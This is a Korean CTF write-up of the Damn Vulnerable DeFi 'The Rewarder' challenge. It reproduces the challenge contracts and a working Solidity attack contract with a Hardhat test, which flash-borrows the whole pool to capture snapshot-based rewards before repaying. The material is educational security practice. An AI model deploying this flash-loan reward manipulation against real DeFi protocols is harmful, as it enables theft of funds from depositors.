There's a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.
Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!
You don't have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.
Oh, by the way, rumours say a new pool has just landed on mainnet. Isn't it offering DVT tokens in flash loans?
새로 런칭한 플래시 론을 이용해서 reward를 클레임하자.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
/**
* @title AccountingToken
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @notice A limited pseudo-ERC20 token to keep track of deposits and withdrawals
* with snapshotting capabilities
*/
contract AccountingToken is ERC20Snapshot, AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant SNAPSHOT_ROLE = keccak256("SNAPSHOT_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
constructor() ERC20("rToken", "rTKN") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(MINTER_ROLE, msg.sender);
_setupRole(SNAPSHOT_ROLE, msg.sender);
_setupRole(BURNER_ROLE, msg.sender);
}
function mint(address to, uint256 amount) external {
require(hasRole(MINTER_ROLE, msg.sender), "Forbidden");
_mint(to, amount);
}
function burn(address from, uint256 amount) external {
require(hasRole(BURNER_ROLE, msg.sender), "Forbidden");
_burn(from, amount);
}
function snapshot() external returns (uint256) {
require(hasRole(SNAPSHOT_ROLE, msg.sender), "Forbidden");
return _snapshot();
}
// Do not need transfer of this token
function _transfer(address, address, uint256) internal pure override {
revert("Not implemented");
}
// Do not need allowance of this token
function _approve(address, address, uint256) internal pure override {
revert("Not implemented");
}
}
아래와 같은 형태로 특정 롤을 만들 수 있다.
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
_setupRole
을 이용해 롤을 할당할 수 있고
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
require(hasRole(MINTER_ROLE, msg.sender), "Forbidden");
DEFAULT_ADMIN_ROLE
은 다른 롤을 부여하거나 제거할 수 있는 권한이 있다. 해당 롤은 _setRoleAdmin
을 통해 부여할 수 있다고 한다.
마지막 코드로 transfer와 approve를 막아놓은 듯 하다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../DamnValuableToken.sol";
/**
* @title FlashLoanerPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @dev A simple pool to get flash loans of DVT
*/
contract FlashLoanerPool is ReentrancyGuard {
using Address for address;
DamnValuableToken public immutable liquidityToken;
constructor(address liquidityTokenAddress) {
liquidityToken = DamnValuableToken(liquidityTokenAddress);
}
function flashLoan(uint256 amount) external nonReentrant {
uint256 balanceBefore = liquidityToken.balanceOf(address(this));
require(amount <= balanceBefore, "Not enough token balance");
require(msg.sender.isContract(), "Borrower must be a deployed contract");
liquidityToken.transfer(msg.sender, amount);
msg.sender.functionCall(
abi.encodeWithSignature(
"receiveFlashLoan(uint256)",
amount
)
);
require(liquidityToken.balanceOf(address(this)) >= balanceBefore, "Flash loan not paid back");
}
}
그 동안 많이 봐왔던 flashLoan 함수다. 이전과 조금 다른 점은 msg.sender에 있는 receiveFlashLoan(uint256)
함수를 호출한다. 해당 지점을 이용해서 공격하면 될 것 같다. require문을 통해 토큰 밸런스를 다시 확인하니 재전송해야 하는 것 기억하자.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
/**
* @title RewardToken
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @dev A mintable ERC20 with 2 decimals to issue rewards
*/
contract RewardToken is ERC20, AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
constructor() ERC20("Reward Token", "RWT") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(MINTER_ROLE, msg.sender);
}
function mint(address to, uint256 amount) external {
require(hasRole(MINTER_ROLE, msg.sender));
_mint(to, amount);
}
}
리워드 토큰을 민팅할 수 있는 컨트랙트. 딱히 특별한 점은 없는 것 같다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./RewardToken.sol";
import "../DamnValuableToken.sol";
import "./AccountingToken.sol";
/**
* @title TheRewarderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TheRewarderPool {
// Minimum duration of each round of rewards in seconds
uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;
uint256 public lastSnapshotIdForRewards;
uint256 public lastRecordedSnapshotTimestamp;
mapping(address => uint256) public lastRewardTimestamps;
// Token deposited into the pool by users
DamnValuableToken public immutable liquidityToken;
// Token used for internal accounting and snapshots
// Pegged 1:1 with the liquidity token
AccountingToken public accToken;
// Token in which rewards are issued
RewardToken public immutable rewardToken;
// Track number of rounds
uint256 public roundNumber;
constructor(address tokenAddress) {
// Assuming all three tokens have 18 decimals
liquidityToken = DamnValuableToken(tokenAddress);
accToken = new AccountingToken();
rewardToken = new RewardToken();
//현재 기준으로 스냅샷 한 번 찍는 것 같다.
//roundNumber가 0이 기본값이라 그런 걸 수도 있음.
_recordSnapshot();
}
/**
* @notice sender must have approved `amountToDeposit` liquidity tokens in advance
*/
function deposit(uint256 amountToDeposit) external {
require(amountToDeposit > 0, "Must deposit tokens");
//입금량만큼 accToken 민팅
accToken.mint(msg.sender, amountToDeposit);
//민팅하자마자 이건 왜 실행하지?
distributeRewards();
//msg.sender에서 컨트랙트로 $DVT 전송
require(
liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
);
}
//민팅한 만큼 소각시키고 msg.sender에게 $DVT 전송
//그런데 실제로 입금을 얼마나 했는지 체크하는 부분이 없다?
function withdraw(uint256 amountToWithdraw) external {
accToken.burn(msg.sender, amountToWithdraw);
require(liquidityToken.transfer(msg.sender, amountToWithdraw));
}
function distributeRewards() public returns (uint256) {
uint256 rewards = 0;
if(isNewRewardsRound()) {
_recordSnapshot();
}
//어카운트 토큰이 발행된 양을 통해 총 입금량을 알 수 있다.(deposit 할 때마다 민팅되므로)
uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
//마지막 스냅샷 시점에 msg.sender가 가지고 있는 accToken의 개수 = 입금량을 의미
uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
//리워드 양 계산하고 이미 리워드 받았는지 확인해서 토큰 민팅. 이후 리워드 스냅샷.
if (amountDeposited > 0 && totalDeposits > 0) {
rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;
if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
rewardToken.mint(msg.sender, rewards);
lastRewardTimestamps[msg.sender] = block.timestamp;
}
}
return rewards;
}
//스냅샷 찍은 후 다음 라운드 진행
function _recordSnapshot() private {
lastSnapshotIdForRewards = accToken.snapshot();
lastRecordedSnapshotTimestamp = block.timestamp;
roundNumber++;
}
//리워드 받았는지 확인
function _hasRetrievedReward(address account) private view returns (bool) {
return (
//리워드 스냅샷을 찍기 전에 시간 기준으로 스냅샷 찍었는지 확인
lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
//리워드 스냅샷 찍은 시점이 아직 다음 라운드 진행 전인지 확인
lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
);
}
//마지막 스냅샷 이후 5일 지났는지 확인
function isNewRewardsRound() public view returns (bool) {
return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
}
}
accToken
-> 소각과 스냅샷 기능이 있는 어카운트 토큰
liquidityToken
-> 사용자들이 예치한 $DVT
rewardToken
-> 5일 마다 보상으로 받는 리워드 토큰
스냅샷을 5일마다 자동으로 찍는 건 아닌 것 같다. 그리고 withdraw
할 때 단순히 accountToken을 소각하고 인자로 넘긴 수량만큼 msg.sender
에게 $DVT를 전송하고 있다.
this.rewardToken = await RewardTokenFactory.attach(await this.rewarderPool.rewardToken());
attach
-> constructor와 비슷한 용도로 사용한다.(내가 잘못 이해한 것일 수 있다.) 보통 address 값을 인자로 받는다. 여기서는 이미 배포한 rewarderPool
에 있는 rewardToken
변수를 가져와서 인자로 넣어준다. 이렇게 하면 민팅한 rewardToken과 상호작용 할 수 있다.await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
evm_increaseTime
과 evm_increaseTime
이 있다. 예시는 다음과 같다. 시간은 모두 초로 계산한다.// suppose the current block has a timestamp of 01:00 PM
await network.provider.send("evm_increaseTime", [3600])
await network.provider.send("evm_mine") // this one will have 02:00 PM as its timestamp
await network.provider.send("evm_setNextBlockTimestamp", [1625097600])
await network.provider.send("evm_mine") // this one will have 2021-07-01 12:00 AM as its timestamp, no matter what the previous block has
이후 테스트 코드를 살펴보면 스냅샷이 한 번 더 진행되고, 리워드 토큰은 총 100개가 발행된 상태여야 하며, 참여자들이 가져간 리워드 토큰은 0에 가깝고 attacker가 가져간 리워드 토큰은 100에 가깝게 설정되어 있는 것을 보니 참여자들의 리워드 토큰을 가져가는 방향으로도 생각해 볼 수 있을 것 같다.
정리해보자면
1. distributeRewards()
를 통해 스냅샷을 한 번 더 찍고
2. 현재 attacker는 $DVT 토큰이 없으니 flashLoan
을 이용해야 하며
3. 참가자들의 리워드 토큰을 attacker에게 가져올 수 있는 방법을 고민해야 한다.
uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
if (amountDeposited > 0 && totalDeposits > 0) {
rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;
if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
rewardToken.mint(msg.sender, rewards);
lastRewardTimestamps[msg.sender] = block.timestamp;
}
}
리워드 분배의 기준은 accToken
의 총 발행량 대비 msg.sender
가 가지고 있는 accToken
의 갯수다. 따라서 attacker가 accToken
을 가지고 있어야 한다. 현재 생각나는 방법은 크게 두 가지다.
withdraw()
를 해서 가져온다.flashLoan
을 통해 빌려온다.(현재 flashLoan
풀에는 100만개의 $DVT가 있다.)성공 가능성이 높은 시나리오는 다음과 같다.
flashLoan
을 통해 100만개의 $DVT를 빌려온다.- 빌려온 $DVT를
deposit
해서 accToken을 민팅한다.distributeRewards()
로 리워드를 클레임하고withdraw()
후receiveFlashLoan()
을 이용해flashLoan
에서 빌린 $DVT를 다시 갚는다.- user들이 넣은 100개는 attacker가 넣은 100만개 보다 훨씬 적은 갯수기 때문에 받을 수 있는 리워드 토큰의 갯수 또한 attacker보다 훨씬 적을 것이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../DamnValuableToken.sol";
import "./RewardToken.sol";
interface Iflash {
function flashLoan(uint256 amount) external;
}
interface IRewardPool {
function deposit(uint256 amountToDeposit) external;
function withdraw(uint256 amountToWithdraw) external;
function distributeRewards() external;
}
/**
* @title FlashLoanerPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @dev A simple pool to get flash loans of DVT
*/
contract rewardAttack {
// address immutable liquidityToken;
DamnValuableToken public immutable liquidityToken;
RewardToken public immutable rewardToken;
IRewardPool immutable rewardPool;
Iflash immutable flashLoanContract;
constructor(address liquidityTokenAddress, address _rewardTokenAddress,address _rewardPool, address _flashLoanAddress) {
liquidityToken = DamnValuableToken(liquidityTokenAddress);
rewardToken = RewardToken(_rewardTokenAddress);
rewardPool = IRewardPool(_rewardPool);
flashLoanContract = Iflash(_flashLoanAddress);
}
function attack() external {
flashLoanContract.flashLoan(address(flashLoanContract).balance);
rewardPool.deposit(address(this).balance);
rewardPool.distributeRewards();
this.receiveFlashLoan(liquidityToken.balanceOf(address(this)));
rewardToken.transfer(msg.sender, (address(this).balance));
}
function receiveFlashLoan(uint256 amount) public {
liquidityToken.transfer(address(flashLoanContract), amount);
}
}
제대로 작성했는지는 잘 모르겠지만 일단 공격 컨트랙트를 만들어봤다. 이제 테스트 코드를 작성해보자.
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const AttackFactory = await ethers.getContractFactory(
"rewardAttack",
deployer
);
this.attack = await AttackFactory.deploy(
this.liquidityToken.address,
this.rewardToken.address,
this.rewarderPool.address,
this.flashLoanPool.address
);
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
await this.attack.connect(attacker).attack();
});
attack 컨트랙트를 가져와서 배포했다. 시간을 5일 뒤로 설정하고 attack()
함수를 호출했다.
deposit 자체가 안 됐다. flashLoan 실행 직후 공격 컨트랙트의 balance에 반영이 안 되는 것 같다.
컨트랙트와 테스트 코드를 다음과 같이 변경했다. 함수에 넘겨주는 amount를 테스트 코드에서 넘겨주는 방식으로 짰다.
function attack(uint256 amount) external {
flashLoanContract.flashLoan(amount);
rewardPool.deposit(amount);
rewardPool.distributeRewards();
this.receiveFlashLoan(liquidityToken.balanceOf(address(this)));
rewardToken.transfer(msg.sender, (address(this).balance));
}
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
await this.attack
.connect(attacker)
.attack(this.liquidityToken.balanceOf(this.flashLoanPool.address));
balance를 초과해서 실패. 혹시 approve를 안 해서 그런걸까?
function attack(uint256 amount) external {
flashLoanContract.flashLoan(amount);
liquidityToken.approve(address(this), type(uint256).max);
rewardPool.deposit(amount);
rewardPool.distributeRewards();
this.receiveFlashLoan(liquidityToken.balanceOf(address(this)));
rewardToken.transfer(msg.sender, (address(this).balance));
}
요런 식으로 중간에 approve
를 추가했지만 결과는 똑같았다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface Iflash {
function flashLoan(uint256 amount) external;
}
interface IRewardPool {
function deposit(uint256 amountToDeposit) external;
function withdraw(uint256 amountToWithdraw) external;
function distributeRewards() external returns (uint256); //returns 추가
}
/**
* @title FlashLoanerPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @dev A simple pool to get flash loans of DVT
*/
contract RewarderAttacker {
address payable immutable attacker; //attacker 추가
IERC20 private immutable liquidityToken; //IERC20 + private
IERC20 private immutable rewardToken; //IERC20 + private
IRewardPool private immutable rewardPool; //private
Iflash private immutable flashLoanContract; //private
constructor(
address liquidityTokenAddress,
address _rewardTokenAddress,
address _rewardPool,
address _flashLoanAddress
) {
attacker = payable(msg.sender);
liquidityToken = IERC20(liquidityTokenAddress);
rewardToken = IERC20(_rewardTokenAddress);
rewardPool = IRewardPool(_rewardPool);
flashLoanContract = Iflash(_flashLoanAddress);
}
function attack() external {
uint balance = liquidityToken.balanceOf(address(flashLoanContract));
flashLoanContract.flashLoan(balance);
}
function receiveFlashLoan(uint256 amount) public {
liquidityToken.approve(address(rewardPool), amount);
rewardPool.deposit(amount);
rewardPool.distributeRewards();
rewardPool.withdraw(amount);
liquidityToken.transfer(address(flashLoanContract), amount);
uint tokens = rewardToken.balanceOf(address(this));
rewardToken.transfer(address(attacker), tokens);
}
}
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
const AttackFactory = await ethers.getContractFactory(
"RewarderAttacker",
attacker
);
this.attack = await AttackFactory.deploy(
this.liquidityToken.address,
this.rewardToken.address,
this.rewarderPool.address,
this.flashLoanPool.address
);
await this.attack.attack();
});
언뜻 보면 비슷하지만 여러 차이점이 있었다.
토큰 컨트랙트를 import 하지 않고 IERC20
만 가져왔다. 토큰 컨트랙트 그 자체를 가져오지 않고 인터페이스만으로도 토큰이 사용가능한 함수들을 정의함으로써 그 틀을 유지할 수 있다. 이 정도가 내가 현재 와닿는 정도다. 인터페이스를 사용함으로 얻을 수 있는 장점에 대해서 더 깊은 부분까지는 아직 이해하지 못했지만 적어도 훨씬 깔끔하게 코드를 짤 수 있다는 것은 알 수 있다.
나는 attack()
함수 안에서 모든 것을 해결하려고 했다. 하지만 flashLoan()
을 보면 토큰을 빌려준 직후 receiveFlashLoan(uint256)
함수를 호출한다. 따라서 내가 이전에 짰던 코드는 이미 대출받은 $DVT 토큰을 다시 갚고 나서 계속 deposit
하려고 했기 때문에 없는 토큰을 계속 넣으려고 하다보니 에러가 났던 거다. 따라서 flashLoan()
의 흐름을 정확하게 파악하지 못 했던 것이 가장 큰 잘못이다.
내가 짰던 코드에서는 amount
부분을 각자 함수에 따로 따로 인자로 넘겨줬었다. 하지만 receiveFlashLoan(uint256)
함수에서 받는 인자는 flashLoan(uint 256 amount)
에서부터 시작되서 넘어간다. 이번에도 전체적인 함수의 흐름부터 정확하게 파악 되지 않았기 때문에 결국 잘못된 판단을 내린 것이라 생각한다.
전체적은 공격 방법은 맞췄지만 함수 흐름 파악면에서 많이 아쉬움이 남는 문제였다. 다음엔 더 잘하자..!